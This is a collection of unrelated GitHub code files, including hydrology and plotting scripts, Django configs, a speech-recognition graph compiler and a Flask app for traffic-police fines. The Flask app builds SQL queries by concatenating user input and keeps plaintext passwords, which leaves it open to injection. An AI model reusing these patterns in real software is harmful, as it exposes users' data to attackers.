'data/snotel_623.csv'\n\n\ndata, P, T_avg, SWE_obs = process_data(filepath)\n\nmelt,Psnow,Prain = Snowmelt_DD_usace(p0, P,T_avg, Tsnow=p0[2], Train=p0[1],k=p0[3])\n\ncumSWE, act_melt = simSWE(Psnow, melt)\n\n\ndata['cumSWE']= cumSWE[:]\ndata['melt']= melt[:]\ndata['Psnow']= Psnow[:]\ndata['Prain']= Prain[:]\ndata['act_melt']= act_melt[:]\n\nmd = md(SWE_obs, cumSWE)\nrmse= rmse(SWE_obs, cumSWE)\nnse= nse(SWE_obs, cumSWE)\n\n\nplot_res(data)\n\n\n## plots Precip and Psnow\n\nfig= plt.figure()\nplt.plot(data.iloc[:,0],data.iloc[:,6],'b-')\nplt.plot(data.iloc[:,0],data.iloc[:,9],'r-')\n#plt.plot(data.iloc[:,0],data.iloc[:,10],'g-')\nplt.xlabel('Date')\nplt.ylabel('Precip(mm)')\nplt.legend(('Precip','Psnow', 'Prain'))\nfig.savefig('plots/Precip_and_Psnow.png', dpi=400) \n\n## save dataframe after model calculations\n\ndata.to_excel(\"Output_dataframe/obs_mod_swe.xlsx\")","repo_name":"devalc/SWE_Temp_Index_model","sub_path":"SWE.py","file_name":"SWE.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42803506941","text":"import os\n\nSENDGRID_API_KEY = os.environ.get('SENDGRID_API_KEY')\n\nANYMAIL = {\n \"SENDGRID_API_KEY\": SENDGRID_API_KEY,\n}\n\nEMAIL_BACKEND = \"anymail.backends.sendgrid.EmailBackend\"\n\nSERVER_EMAIL = os.environ.get('SERVER_EMAIL', 'stephantechdev@gmail.com')\nDEFAULT_FROM_EMAIL = os.environ.get('DEFAULT_FROM_EMAIL', 'stephantechdev@gmail.com')\n\n# if os.environ.get('DEBUG', True) in ('True', 'true', True,):\n# EMAIL_BACKEND = \"django.core.mail.backends.console.EmailBackend\"\n","repo_name":"Stephan-e/cool_school_public_api","sub_path":"config/plugins/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74146117228","text":"from datetime import datetime\n\nimport requests\nfrom waste_collection_schedule import Collection\n\nTITLE = \"EAD Darmstadt\" # Title will show up in README.md and info.md\nDESCRIPTION = \"Source script for waste collection in Darmstadt ead.darmstadt.de\" # Describe your source\nURL = \"https://ead.darmstadt.de/\" # Insert url to service homepage. URL will show up in README.md and info.md\nTEST_CASES = { # Insert arguments for test cases to be used by test_sources.py script\n \"Stresemannstraße\": {\"street\": \"Stresemannstraße\"},\n \"Trondheimstraße\": {\"street\": \"Trondheimstraße\"},\n \"Mühltalstraße\": {\"street\": \"Mühltalstraße\"},\n \"Heinheimer Straße\": {\"street\": \"Heinheimer Straße 1-15, 2-16\"},\n \"Kleyerstraße\": {\"street\": \"Kleyerstraße\"},\n \"Untere Mühlstraße\": {\"street\": \"Untere Mühlstraße 1-29, 2-36\"},\n}\n\nAPI_URL = \"https://ead.darmstadt.de/unser-angebot/privathaushalte/abfallkalender/singleStreet/\"\nICON_MAP = { # Optional: Dict of waste types and suitable mdi icons\n \"RM1\": \"mdi:trash-can\",\n \"RM2\": \"mdi:trash-can\",\n \"RM4\": \"mdi:trash-can\",\n \"WET\": \"mdi:recycle\",\n \"BIO\": \"mdi:leaf\",\n \"PPK\": \"mdi:package-variant\",\n}\n\n\nclass Source:\n def __init__(\n self, street\n ): # argX correspond to the args dict in the source configuration\n self.street = street\n\n def fetch(self):\n params = {\"type\": \"742394\", \"street\": self.street}\n r = requests.get(API_URL, params=params)\n r.raise_for_status()\n\n schedule = r.json()\n if schedule is None or len(schedule) == 0:\n raise Exception(\"address not found\")\n\n entries = [] # List that holds collection schedule\n for date, waste_type_list in schedule.items():\n for waste_type in waste_type_list:\n entries.append(\n Collection(\n date=datetime.strptime(\n date, \"%d.%m.%Y\"\n ).date(), # Collection date\n t=waste_type, # Collection type\n icon=ICON_MAP.get(waste_type), # Collection icon\n )\n )\n\n return entries\n","repo_name":"mampfes/hacs_waste_collection_schedule","sub_path":"custom_components/waste_collection_schedule/waste_collection_schedule/source/ead_darmstadt_de.py","file_name":"ead_darmstadt_de.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":559,"dataset":"github-code","pt":"37"} +{"seq_id":"6280099188","text":"from engine.vector import Vector\nfrom engine import game_data\nfrom PyQt5.QtGui import QPixmap\n\n\nclass Bonus:\n def __init__(self, x, y, size, sprite, d_p):\n self.id = game_data.id\n game_data.id += 1\n self.position = Vector(x, y)\n self.size = size\n self.sprite = sprite\n self.name = \"Bonus\"\n self.drawing_priority = d_p\n self.ticks_alive = 0\n game_data.game_objects.append(self)\n game_data.has_bonus = True\n\n def update(self):\n self.ticks_alive += 1\n if self.ticks_alive == game_data.duration_bonus:\n self.destroy()\n\n def draw(self, painter):\n painter.drawPixmap(self.position.x, self.position.y,\n QPixmap(self.sprite))\n\n def destroy(self, taken_player=False):\n game_data.for_destroy[self.id] = self\n game_data.has_bonus = False\n","repo_name":"bkmz1840/BattleCity","sub_path":"engine/bonus.py","file_name":"bonus.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71925694187","text":"# @Version: python3.10\n# @Time: 2023/8/29 11:53\n# @Author: PlutoCtx\n# @Email: 15905898514@163.com\n# @File: fetch_zjxc_pdfs.py\n# @Software: PyCharm\n# @User: chent\n\n# import requests\n# import pdfkit\n\n# 文章的网址链接\narticle_url = 'https://mp.weixin.qq.com/s?__biz=Mzg5Mjc3NzQzMA==&mid=2247513059&idx=1&sn=13ea326e4679d0fcfadc9de454e00ccb&chksm=c03a155af74d9c4cd90309ef076b97471a626420df55895fba3a8b647099329e6ddef4cb0d83&scene=21#wechat_redirect' # 替换为具体的文章链接\n\n# # 使用 requests 获取文章内容\n# response = requests.get(article_url)\n# article_content = response.text\n#\n# # 使用 pdfkit 将内容保存为 PDF 文件\n# pdfkit.from_string(article_content, 'article.pdf')\n\n\n# if __name__ == '__main__':\n# # import requests\n# # import pdfkit\n# #\n# # # 文章的网址链接\n# # # article_url = 'https://www.example.com/article' # 替换为具体的文章链接\n# #\n# # # 使用 requests 获取文章内容\n# # response = requests.get(article_url)\n# # article_content = response.text\n# #\n# # # 指定保存路径和文件名\n# # save_path = '/path/to/save/directory/article.pdf' # 替换为你想要保存的路径和文件名\n# #\n# # # 使用 pdfkit 将内容保存为 PDF 文件\n# # try:\n# # pdfkit.from_string(article_content, save_path)\n# # print(\"文件已成功保存为 PDF。\")\n# # except Exception as e:\n# # print(\"保存 PDF 文件时发生错误:\", str(e))\n#\n# import requests\n# import pdfkit\n#\n# # 文章的网址链接\n# # article_url = 'https://www.example.com/article' # 替换为具体的文章链接\n#\n# # 使用 requests 获取文章内容\n# response = requests.get(article_url)\n# article_content = response.text\n#\n# # 指定保存路径和文件名\n# save_path = '/path/to/save/directory/article.pdf' # 替换为你想要保存的路径和文件名\n#\n# # 使用 pdfkit 将内容保存为 PDF 文件\n# try:\n# pdfkit.from_string(article_content, save_path)\n# print(\"文件已成功保存为 PDF。\")\n# except Exception as e:\n# print(\"保存 PDF 文件时发生错误:\", str(e))\n\n\n\n# # 使用 requests 获取文章内容\n# response = requests.get(article_url)\n# article_content = response.text\n#\n# # 指定保存路径和文件名\n# save_path = 'total_files/article.pdf' # 替换为你想要保存的路径和文件名\n#\n# # 使用 pdfkit 将内容保存为 PDF 文件\n# try:\n# pdfkit.from_string(article_content, save_path)\n# print(\"文件已成功保存为 PDF。\")\n# except Exception as e:\n# print(\"保存 PDF 文件时发生错误:\", str(e))\n\n\n# import requests\n# import pdfkit\n#\n# # 文章的网址链接\n# article_url = 'https://www.example.com/article' # 替换为具体的文章链接\n#\n# # 使用 requests 获取文章内容\n# response = requests.get(article_url)\n# article_content = response.text\n#\n# # 指定保存路径和文件名\n# save_path = '/path/to/save/directory/article.pdf' # 替换为你想要保存的路径和文件名\n#\n# # 指定 wkhtmltopdf 的可执行文件路径\n# config = pdfkit.configuration(wkhtmltopdf='D:\\Program Files\\wkhtmltopdf\\\\bin\\wkhtmltopdf')\n#\n# # 使用 pdfkit 将内容保存为 PDF 文件\n# try:\n# pdfkit.from_string(article_content, save_path, configuration=config)\n# print(\"文件已成功保存为 PDF。\")\n# except Exception as e:\n# print(\"保存 PDF 文件时发生错误:\", str(e))\n#\n\n\n\n# import os\n# import pdfkit\n# import datetime\n# import wechatsogou\n# '''\n# 遇到不懂的问题?Python学习交流群:1004391443满足你的需求,资料都已经上传群文件,可以自行下载!\n# '''\n# # 初始化API\n# ws_api = wechatsogou.WechatSogouAPI(captcha_break_time=3)\n#\n#\n# def url2pdf(url, title, targetPath):\n# '''\n# 使用pdfkit生成pdf文件\n# :param url: 文章url\n# :param title: 文章标题\n# :param targetPath: 存储pdf文件的路径\n# '''\n# try:\n# content_info = ws_api.get_article_content(url)\n# except:\n# return False\n# # 处理后的html\n# html = f'''\n# \n# \n# \n# \n# {title}\n# \n# \n#

    {title}

    \n# {content_info['content_html']}\n# \n# \n# '''\n# try:\n# pdfkit.from_string(html, targetPath + os.path.sep + f'{title}.pdf')\n# except:\n# # 部分文章标题含特殊字符,不能作为文件名\n# filename = datetime.datetime.now().strftime('%Y%m%d%H%M%S') + '.pdf'\n# pdfkit.from_string(html, targetPath + os.path.sep + filename)\n#\n#\n# if __name__ == '__main__':\n# # 此处为要爬取公众号的名称\n# gzh_name = '浙江宣传'\n# targetPath = os.getcwd() + os.path.sep + gzh_name\n# # 如果不存在目标文件夹就进行创建\n# if not os.path.exists(targetPath):\n# os.makedirs(targetPath)\n# # 将该公众号最近10篇文章信息以字典形式返回\n# data = ws_api.get_gzh_article_by_history(gzh_name)\n# article_list = data['article']\n# for article in article_list:\n# url = article['content_url']\n# title = article['title']\n# url2pdf(url, title, targetPath)\n\n\n\nimport requests\nimport pdfkit\nimport xhtml2pdf\n\n# 文章的网址链接\narticle_url = 'https://www.example.com/article' # 替换为实际的文章链接\n\n# 使用 requests 获取文章内容\nresponse = requests.get(article_url)\narticle_content = response.text\n\n# 指定保存路径和文件名\nsave_path = '/path/to/save/directory/article.pdf' # 替换为你想要保存的路径和文件名\n\n# 设置配置选项\noptions = {\n 'no-stop-slow-scripts': None\n}\n\n# 使用 pdfkit 将内容保存为 PDF 文件\ntry:\n pdfkit.from_string(article_content, save_path, options=options)\n print(\"文件已成功保存为 PDF。\")\nexcept Exception as e:\n print(\"保存 PDF 文件时发生错误:\", str(e))\n","repo_name":"PlutoCtx/pythonProject","sub_path":"fetch_zjxc_articles/fetch_zjxc_pdfs.py","file_name":"fetch_zjxc_pdfs.py","file_ext":"py","file_size_in_byte":6060,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"8052080101","text":"import os, sys, glob\nfrom turtle import title\nimport pandas as pd\nimport xarray as xr\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mytools.plot_tools import *\nfrom mytools.ozone_tools import *\nfrom mytools.station_info import *\n\ndef plot_climate_diagram(temp, precip, **kwarg):\n bfrost = kwarg.pop('frost', False)\n bdrought = kwarg.pop('drought', False)\n verbose = kwarg.pop('verbose', False)\n temp_err = kwarg.pop('temp_err', None)\n precip_err = kwarg.pop('precip_err', None)\n precip_plot_margin = kwarg.pop('pp_margin',0)\n\n fig1 = plt.figure(1, figsize=(12,8))\n fig1.subplots_adjust(right=0.9)\n fig1.canvas.set_window_title(\"climatediagram\")\n ax11 = plt.subplot()\n ax12 = ax11.twinx()\n \n precip.plot.bar(ax=ax12, color='blue', alpha=0.5, label='')\n #if temp_err==0:\n # ax11.plot(ax12.get_xticks(), temp, color='red', label='')\n #else:\n ax11.plot(ax12.get_xticks(), temp, color='red', label='')\n \n if temp_err is not None:\n plot_error_bands(ax11, ax12.get_xticks(), temp, error=temp_err, color='red', ls='None')\n \n if precip_err is not None:\n ax12.errorbar(ax12.get_xticks(), precip, yerr=precip_err, ls='None', color='blue', label='')\n\n if precip_err is None:\n precip_max = np.ceil(precip.values.max())\n ax11.text(8.25, precip_max*0.5-6.75, \"$Precip_{max}: %2.1f\\,mm$\\n$Precip_{min}: %2.1f\\,mm$\" % (precip.max(), precip.min()), color='blue', size=16)\n else:\n precip_max = np.ceil(precip.values.max()+precip_err.max())\n ax11.text(7.75, precip_max*0.5-9.25, \"$Precip_{max}: (%2.1f\\pm %2.1f)\\,mm$\\n$Precip_{min}: (%2.1f\\pm %2.1f)\\,mm$\\n$\\Sigma: (%2.1f\\pm %2.1f)\\,mm$\" % (precip.max(), precip_err[np.where(precip==precip.max())[0]], precip.min(), precip_err[np.where(precip==precip.min())[0]], precip.sum(), np.sqrt((precip_err**2).sum())), color='blue', size=14)\n\n\n temp_max = np.ceil(temp.max())\n temp_min = np.floor(temp.min())\n \n if temp_err is not None:\n temp_max = np.ceil(temp_max+temp_err.max())\n temp_min = np.floor(temp_min-temp_err.max())\n ax11.text(0, precip_max*0.5-7.5, \"$T_{max}: (%2.1f\\pm %2.1f)^\\circ C$\\n$T_{min}: (%2.1f\\pm %2.1f)^\\circ C$\" % (temp.max(), temp_err[np.where(temp==temp.max())[0]], temp.min(), temp_err[np.where(temp==temp.min())[0]]), color='red', size=14)\n else:\n ax11.text(0, precip_max*0.5-6.5, \"$T_{max}: %2.1f^\\circ C$\\n$T_{min}: %2.1f^\\circ C$\" % (temp_max, temp_min), color='red', size=16)\n \n if verbose:\n print(temp_max, temp_min, precip_max)\n print(np.min((0,temp_min)), np.max((temp_max, precip_max*0.5)))\n \n ax11.set_ylim(np.min((0,temp_min)), np.max((temp_max, (precip_max+precip_plot_margin)*0.5)))\n ax11.set_xticklabels([get_month_name(imonth, length=3) for imonth in np.arange(1,13)], size=18)\n ax11.set_ylabel(\"Temperature ($^\\circ\\,C$)\", color='red')\n ax12.set_ylabel(\"Precipitation (mm)\", color='blue')\n ax12.set_ylim(np.min((0,temp_min*2)), np.max((temp_max*2, (precip_max+precip_plot_margin))))\n\n if bfrost:\n frost = np.where(temp<=0)[0]\n if verbose:\n print(frost+1)\n ax11.scatter(frost, np.zeros_like(frost), marker='*', s=16**2, label='frost months')\n\n if bdrought:\n drought = np.where(precip\",postdetails,name=\"postdetails\")\n]\nurlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","repo_name":"ittamil/django-blog-website-beginner","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"73951795306","text":"import logging\nfrom pathlib import Path\nfrom typing import Iterable, List, Tuple, Union\n\nimport k2\nimport torch\n\nfrom icefall.lexicon import UniqLexicon\n\n\nclass MmiTrainingGraphCompiler(object):\n def __init__(\n self,\n lang_dir: Path,\n uniq_filename: str = \"uniq_lexicon.txt\",\n device: Union[str, torch.device] = \"cpu\",\n oov: str = \"\",\n sos_id: int = 1,\n eos_id: int = 1,\n ):\n \"\"\"\n Args:\n lang_dir:\n Path to the lang directory. It is expected to contain the\n following files::\n\n - tokens.txt\n - words.txt\n - P.fst.txt\n\n The above files are generated by the script `prepare.sh`. You\n should have run it before running the training code.\n uniq_filename:\n File name to the lexicon in which every word has exactly one\n pronunciation. We assume this file is inside the given `lang_dir`.\n\n device:\n It indicates CPU or CUDA.\n oov:\n Out of vocabulary word. When a word in the transcript\n does not exist in the lexicon, it is replaced with `oov`.\n \"\"\"\n self.lang_dir = Path(lang_dir)\n self.lexicon = UniqLexicon(lang_dir, uniq_filename=uniq_filename)\n self.device = torch.device(device)\n\n self.L_inv = self.lexicon.L_inv.to(self.device)\n\n self.oov_id = self.lexicon.word_table[oov]\n self.sos_id = sos_id\n self.eos_id = eos_id\n\n self.build_ctc_topo_P()\n\n def build_ctc_topo_P(self):\n \"\"\"Built ctc_topo_P, the composition result of\n ctc_topo and P, where P is a pre-trained bigram\n word piece LM.\n \"\"\"\n # Note: there is no need to save a pre-compiled P and ctc_topo\n # as it is very fast to generate them.\n logging.info(f\"Loading P from {self.lang_dir/'P.fst.txt'}\")\n with open(self.lang_dir / \"P.fst.txt\") as f:\n # P is not an acceptor because there is\n # a back-off state, whose incoming arcs\n # have label #0 and aux_label 0 (i.e., ).\n P = k2.Fsa.from_openfst(f.read(), acceptor=False)\n\n first_token_disambig_id = self.lexicon.token_table[\"#0\"]\n\n # P.aux_labels is not needed in later computations, so\n # remove it here.\n del P.aux_labels\n # CAUTION: The following line is crucial.\n # Arcs entering the back-off state have label equal to #0.\n # We have to change it to 0 here.\n labels = P.labels.clone()\n labels[labels >= first_token_disambig_id] = 0\n P.labels = labels\n\n P = k2.remove_epsilon(P)\n P = k2.arc_sort(P)\n P = P.to(self.device)\n # Add epsilon self-loops to P because we want the\n # following operation \"k2.intersect\" to run on GPU.\n P_with_self_loops = k2.add_epsilon_self_loops(P)\n\n max_token_id = max(self.lexicon.tokens)\n logging.info(\n f\"Building ctc_topo (modified=False). max_token_id: {max_token_id}\"\n )\n ctc_topo = k2.ctc_topo(max_token_id, modified=False, device=self.device)\n\n ctc_topo_inv = k2.arc_sort(ctc_topo.invert_())\n\n logging.info(\"Building ctc_topo_P\")\n ctc_topo_P = k2.intersect(\n ctc_topo_inv, P_with_self_loops, treat_epsilons_specially=False\n ).invert()\n\n self.ctc_topo_P = k2.arc_sort(ctc_topo_P)\n logging.info(f\"ctc_topo_P num_arcs: {self.ctc_topo_P.num_arcs}\")\n\n def compile(\n self, texts: Iterable[str], replicate_den: bool = True\n ) -> Tuple[k2.Fsa, k2.Fsa]:\n \"\"\"Create numerator and denominator graphs from transcripts\n and the bigram phone LM.\n\n Args:\n texts:\n A list of transcripts. Within a transcript, words are\n separated by spaces. An example `texts` is given below::\n\n [\"Hello icefall\", \"LF-MMI training with icefall using k2\"]\n\n replicate_den:\n If True, the returned den_graph is replicated to match the number\n of FSAs in the returned num_graph; if False, the returned den_graph\n contains only a single FSA\n Returns:\n A tuple (num_graph, den_graph), where\n\n - `num_graph` is the numerator graph. It is an FsaVec with\n shape `(len(texts), None, None)`.\n\n - `den_graph` is the denominator graph. It is an FsaVec\n with the same shape of the `num_graph` if replicate_den is\n True; otherwise, it is an FsaVec containing only a single FSA.\n \"\"\"\n transcript_fsa = self.build_transcript_fsa(texts)\n\n # remove word IDs from transcript_fsa since it is not needed\n del transcript_fsa.aux_labels\n # NOTE: You can comment out the above statement\n # if you want to run test/test_mmi_graph_compiler.py\n\n transcript_fsa_with_self_loops = k2.remove_epsilon_and_add_self_loops(\n transcript_fsa\n )\n\n transcript_fsa_with_self_loops = k2.arc_sort(transcript_fsa_with_self_loops)\n\n num = k2.compose(\n self.ctc_topo_P,\n transcript_fsa_with_self_loops,\n treat_epsilons_specially=False,\n )\n\n # CAUTION: Due to the presence of P,\n # the resulting `num` may not be connected\n num = k2.connect(num)\n\n num = k2.arc_sort(num)\n\n ctc_topo_P_vec = k2.create_fsa_vec([self.ctc_topo_P])\n if replicate_den:\n indexes = torch.zeros(len(texts), dtype=torch.int32, device=self.device)\n den = k2.index_fsa(ctc_topo_P_vec, indexes)\n else:\n den = ctc_topo_P_vec\n\n return num, den\n\n def build_transcript_fsa(self, texts: List[str]) -> k2.Fsa:\n \"\"\"Convert transcripts to an FsaVec with the help of a lexicon\n and word symbol table.\n\n Args:\n texts:\n Each element is a transcript containing words separated by space(s).\n For instance, it may be 'HELLO icefall', which contains\n two words.\n\n Returns:\n Return an FST (FsaVec) corresponding to the transcript.\n Its `labels` is token IDs and `aux_labels` is word IDs.\n \"\"\"\n word_ids_list = []\n for text in texts:\n word_ids = []\n for word in text.split():\n if word in self.lexicon.word_table:\n word_ids.append(self.lexicon.word_table[word])\n else:\n word_ids.append(self.oov_id)\n word_ids_list.append(word_ids)\n\n fsa = k2.linear_fsa(word_ids_list, self.device)\n fsa = k2.add_epsilon_self_loops(fsa)\n\n # The reason to use `invert_()` at the end is as follows:\n #\n # (1) The `labels` of L_inv is word IDs and `aux_labels` is token IDs\n # (2) `fsa.labels` is word IDs\n # (3) after intersection, the `labels` is still word IDs\n # (4) after `invert_()`, the `labels` is token IDs\n # and `aux_labels` is word IDs\n transcript_fsa = k2.intersect(\n self.L_inv, fsa, treat_epsilons_specially=False\n ).invert_()\n transcript_fsa = k2.arc_sort(transcript_fsa)\n return transcript_fsa\n\n def texts_to_ids(self, texts: List[str]) -> List[List[int]]:\n \"\"\"Convert a list of texts to a list-of-list of piece IDs.\n\n Args:\n texts:\n It is a list of strings. Each string consists of space(s)\n separated words. An example containing two strings is given below:\n\n ['HELLO ICEFALL', 'HELLO k2']\n We assume it contains no OOVs. Otherwise, it will raise an\n exception.\n Returns:\n Return a list-of-list of token IDs.\n \"\"\"\n return self.lexicon.texts_to_token_ids(texts).tolist()\n","repo_name":"k2-fsa/icefall","sub_path":"icefall/mmi_graph_compiler.py","file_name":"mmi_graph_compiler.py","file_ext":"py","file_size_in_byte":7859,"program_lang":"python","lang":"en","doc_type":"code","stars":640,"dataset":"github-code","pt":"37"} +{"seq_id":"1349939662","text":"import random\n\nfrom flask import Flask,render_template,request,redirect,session\nfrom DBConnection import Db\napp = Flask(__name__)\napp.secret_key=\"abc\"\n\n@app.route('/logout')\ndef logout():\n session['lin']=''\n return render_template('login.html')\n\n@app.route('/')\ndef home():\n return render_template('home.html')\n@app.route('/log')\ndef hello_world():\n return render_template('login.html')\n\n@app.route('/login',methods=['post'])\ndef login1():\n database = Db()\n uname=request.form['textfield']\n passw=request.form['textfield2']\n query=\"select * from login where username='\"+uname+\"' and password='\"+passw+\"'\"\n result=database.selectOne(query)\n if result is not None:\n if result['type']==\"admin\":\n session['lin']='lo'\n return redirect('/adminhome')\n elif result['type']==\"tp\":\n session['lin'] = 'lo'\n session['lid']=result['loginid']\n return redirect('/thome')\n elif result['type'] == \"user\":\n session['lin'] = 'lo'\n session['lid'] = result['loginid']\n return redirect('/uhome')\n else:\n return ''''''\n else:\n return ''''''\n\n\n@app.route('/adminhome')\ndef adminh():\n if session['lin']=='lo':\n return render_template('admin/admin home.html')\n else:\n return redirect('/log')\n\n@app.route('/t')\ndef traffic():\n if session['lin'] == 'lo':\n return render_template('admin/traffic police.html')\n else:\n return redirect('/log')\n\n@app.route('/g',methods=['post'])\ndef trafic():\n if session['lin'] == 'lo':\n database =Db()\n name=request.form['textfield']\n phone=request.form['textfield2']\n email=request.form['textfield3']\n gender=request.form['radio']\n qualification=request.form['textarea']\n password=random.randint(0000,9999)\n query = \"insert into login VALUES ('','\"+email+\"','\"+str(password)+\"','traffic police')\"\n res=database.insert(query)\n query2=\"insert into trafficpolice VALUES ('\"+str(res)+\"','\"+name+\"','\"+phone+\"','\"+email+\"','\"+gender+\"','\"+qualification+\"')\"\n database.insert(query2)\n return ''''''\n else:\n return redirect('/log')\n\n@app.route('/manag')\ndef managee():\n if session['lin'] == 'lo':\n database=Db()\n query=\"select * from trafficpolice \"\n res=database.select(query)\n return render_template('admin/manage police.html',data=res)\n else:\n return redirect('/log')\n\n@app.route('/dlt/')\ndef delt(b):\n if session['lin'] == 'lo':\n database=Db()\n query=\"delete from trafficpolice where trafficid ='\"+b+\"'\"\n database.delete(query)\n query2=\"delete from login where loginid ='\"+b+\"'\"\n database.delete(query2)\n return ''''''\n else:\n return redirect('/log')\n\n@app.route('/edi/')\ndef editt(e):\n if session['lin'] == 'lo':\n database=Db()\n query=\"select * from trafficpolice where trafficid='\"+e+\"'\"\n res=database.selectOne(query)\n return render_template('admin/edit traffic.html',data=res)\n else:\n return redirect('/log')\n\n@app.route('/updte/',methods=['post'])\ndef update(u):\n if session['lin'] == 'lo':\n database=Db()\n name = request.form['textfield']\n phone = request.form['textfield2']\n email = request.form['textfield3']\n gender = request.form['radio']\n qualification = request.form['textarea']\n query=\"update trafficpolice set name='\"+name+\"',phone='\"+phone+\"',email='\"+email+\"',gender='\"+gender+\"',qualification='\"+qualification+\"' where trafficid='\"+u+\"'\"\n database.update(query)\n return ''''''\n else:\n return redirect('/log')\n\n@app.route('/v')\ndef view():\n if session['lin'] == 'lo':\n database=Db()\n query=\"select * from user \"\n result=database.select(query)\n return render_template('admin/view user.html',data=result)\n else:\n return redirect('/log')\n\n\n@app.route('/facemask')\ndef facemassk():\n if session['lin'] == 'lo':\n database=Db()\n query=\"SELECT * FROM USER,assign_fine,`fine` WHERE user.userid=assign_fine.userid AND `fine`.`fineid`=`assign_fine`.`fineid`\"\n result=database.select(query)\n return render_template('admin/facemask.html',data=result)\n else:\n return redirect('/log')\n\n@app.route('/complaint')\ndef complaintt():\n if session['lin'] == 'lo':\n database=Db()\n query=\"select * from user,complaint where user.userid=complaint.userid\"\n result=database.select(query)\n return render_template('admin/complaint.html',data=result)\n else:\n return redirect('/log')\n\n@app.route('/rep/')\ndef reply(y):\n if session['lin'] == 'lo':\n return render_template('admin/reply.html',data=y)\n else:\n return redirect('/log')\n\n@app.route('/repp/',methods=['post'])\ndef replyy(j):\n if session['lin'] == 'lo':\n database=Db()\n reply=request.form['textarea']\n query=\"update complaint set reply='\"+reply+\"',replydate=curdate() where complaintid='\"+j+\"'\"\n database.update(query)\n return ''''''\n else:\n return redirect('/log')\n\n@app.route('/cam')\ndef cam():\n if session['lin'] == 'lo':\n return render_template('admin/camera.html')\n else:\n return redirect('/log')\n\n@app.route('/cam1',methods=['post'])\ndef cam1():\n if session['lin'] == 'lo':\n database =Db()\n serial=request.form['textfield']\n model=request.form['textfield2']\n loc=request.form['textfield3']\n latt=request.form['textfield4']\n lon=request.form['textfield5']\n query2=\"insert into camera VALUES ('','\"+serial+\"','\"+model+\"','\"+loc+\"','\"+latt+\"','\"+lon+\"')\"\n database.insert(query2)\n return ''''''\n else:\n return redirect('/log')\n\n@app.route('/viewcam')\ndef viewcam():\n if session['lin'] == 'lo':\n database=Db()\n query=\"select * from camera \"\n result=database.select(query)\n return render_template('admin/view camera.html',data=result)\n else:\n return redirect('/log')\n\n\n@app.route('/delcam/')\ndef delcam(a):\n if session['lin'] == 'lo':\n database=Db()\n query=\"delete from camera where cameraid='\"+a+\"'\"\n result=database.delete(query)\n return redirect('/viewcam')\n else:\n return redirect('/log')\n\n\n@app.route('/fine')\ndef fine():\n if session['lin'] == 'lo':\n return render_template('admin/generate fine.html')\n else:\n return redirect('/log')\n\n@app.route('/fine1',methods=['post'])\ndef fine1():\n if session['lin'] == 'lo':\n database =Db()\n de=request.form['textarea']\n fine=request.form['textfield3']\n d=request.form['textfield']\n query2=\"insert into fine VALUES ('','\"+d+\"','\"+de+\"','\"+fine+\"')\"\n database.insert(query2)\n return ''''''\n else:\n return redirect('/log')\n\n@app.route('/viewf')\ndef viewf():\n if session['lin'] == 'lo':\n database=Db()\n query=\"select * from fine \"\n result=database.select(query)\n return render_template('admin/view fine.html',data=result)\n else:\n return redirect('/log')\n\n\n@app.route('/delf/')\ndef delf(a):\n if session['lin'] == 'lo':\n database=Db()\n query=\"delete from fine where fineid='\"+a+\"'\"\n result=database.delete(query)\n return redirect('/viewf')\n else:\n return redirect('/log')\n\n@app.route('/adviewv')\ndef adviewv():\n if session['lin'] == 'lo':\n database=Db()\n query=\"select * from violation \"\n result=database.select(query)\n return render_template('admin/view offence.html',data=result)\n else:\n return redirect('/log')\n\n\n\n################# TRAFFIC POLICE #######################\n\n@app.route('/thome')\ndef thome():\n if session['lin'] == 'lo':\n return render_template(\"tp/tp home.html\")\n else:\n return redirect('/log')\n\n@app.route('/viewp')\ndef viewp():\n if session['lin'] == 'lo':\n database=Db()\n query=\"select * from trafficpolice where trafficid='\"+str( session['lid'])+\"'\"\n result=database.selectOne(query)\n return render_template('tp/view profile.html',data=result)\n else:\n return redirect('/log')\n\n@app.route('/detectmask')\ndef detectmask():\n if session['lin'] == 'lo':\n database=Db()\n query=\"SELECT * FROM assign_fine,USER,`fine` WHERE assign_fine.userid=user.userid AND `assign_fine`.`fineid`=`fine`.`fineid` ORDER BY afineid DESC\"\n result=database.select(query)\n return render_template('tp/detect mask.html',data=result)\n else:\n return redirect('/log')\n\n@app.route('/tpviewf')\ndef tpviewf():\n if session['lin'] == 'lo':\n database=Db()\n query=\"select * from fine \"\n result=database.select(query)\n return render_template('tp/view fine.html',data=result)\n else:\n return redirect('/log')\n\n\n@app.route('/viol')\ndef viol():\n if session['lin'] == 'lo':\n return render_template(\"tp/add offence.html\")\n else:\n return redirect('/log')\n\n@app.route('/viol1',methods=['post'])\ndef viol1():\n if session['lin'] == 'lo':\n database = Db()\n v=request.form['textfield']\n p=request.form['textarea']\n res=database.insert(\"insert into violation values('','\"+v+\"','\"+p+\"')\")\n return ''''''\n else:\n return redirect('/log')\n\n@app.route('/viewv')\ndef viewv():\n if session['lin'] == 'lo':\n database=Db()\n query=\"select * from violation \"\n result=database.select(query)\n return render_template('tp/view offence.html',data=result)\n else:\n return redirect('/log')\n\n@app.route('/dele/')\ndef dele(a):\n if session['lin'] == 'lo':\n database=Db()\n query=\"delete from violation where vid='\"+a+\"'\"\n result=database.delete(query)\n return redirect('/viewv')\n else:\n return redirect('/log')\n\n\n\n\n############### USER ###########\n\n@app.route('/userreg')\ndef userreg():\n return render_template('user/registration.html')\n\n\n@app.route('/userreg1',methods=['post'])\ndef userreg1():\n database =Db()\n name=request.form['textfield']\n phone=request.form['textfield2']\n email=request.form['textfield3']\n gender=request.form['radio']\n f=request.files['file']\n import datetime\n 